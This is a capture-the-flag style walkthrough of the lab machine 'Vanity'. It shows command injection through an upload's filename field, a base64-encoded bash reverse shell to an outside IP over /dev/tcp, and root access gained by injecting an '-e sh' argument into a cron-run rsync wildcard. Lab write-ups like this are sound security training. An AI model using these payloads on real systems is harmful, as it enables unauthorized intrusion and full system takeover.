0. Lab Information

• Machine Name: Vanity
• Platform: Proving Grounds Practice
• Difficulty: Intermediate

1. Summary

The target web server was vulnerable to command injection vulnerability. Leveraging the weakness, I secured an initial access on the target as www-data user. Locally examine the system, there was a cron job, which could be exploited to obtain root access.

2. Detailed Writeup

2.1 Service Enumeration

Per enumerating running service using nmap, I detected 3 active services.

• nmap -Pn -T4 -oA nmap/full_ports -p- -vv 192.168.x.234

Let’s us drop our attention to the HTTP service running on port 80.

2.2 HTTP Recon

Navigated to the web server, the file upload feature instantly caught my attention.

Prior exploring this feature, I started a directory scanner using ffuf. The command is:

• ffuf -u http://192.168.228.234/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -c -of md -o common.md

Let it run in the background, the below table is a summary of my scanning’s results.

Back to the web server, I created a test.txt file and uploaded onto the target system.

$ cat test.txt           
Test

The result was OK, meaning that the file had been successfully uploaded.

Went back one directory, /uploads, I found that the test.txt file was saved in there.

Intercept the request with Burp Suite, this is how the request would look like.

Based on the logic, this could potentially cause a Remote Code Execution vulnerability.

However, the server did a good job in filtering malicious file extensions.Trying various bypassing methods wouldn’t return any results.

At this point, I approached it with different perspectives, attempting to exploit Directory Traversal or overwrite .htaccess file, none of them worked out.

This was when I started noticing the scanning result.

Researching the SCAN SUMMARY outputs revealed the fact that this website processed my file using clamav. That said, every request sent, if successful, would take around ~12,000 millis.

Next, I tried out command injection vulnerability by injecting a sleep 5 command in the filename field.

It took ~17,000 millis to complete the request, which confirmed that the injected code was, indeed, executed.

To obtain reverse shell, I encoded my reverse shell in base64 and execute it. The payload will look like below:

# YmF... = bash -c 'bash -i >& /dev/tcp/192.168.45.169/80 0>&1'

echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE2OS84MCAwPiYxJwo= | base64 -d | sh

After a few seconds, I got a shell as www-data.

As the current shell was not stable, I stabilized it as the following:

Once done, I changed directory to /var/www and read the local.txt file.

2.3 Local Enumeration

Checking crontab file, looks like that the /opt/backup.sh script got executed every minute.

Read the content of the backup.sh file, it introduced a rsync wildcard vulnerability.

2.4 Privilege Escalation

To exploit the vulnerability, I created a shell.sh script containing a bash reverse shell. To trigger the shell, I implanted an -e flag pointing to the shell.sh file.

In the background, it’ll look something similar to:

rsync --password-file=/root/passwd -a -e sh shell.sh shell.sh upload.php rsync://vanity/backup/

After a minute, my netcat handler got a call back as root.

Under the root shell, I successfully read the proof.txt file.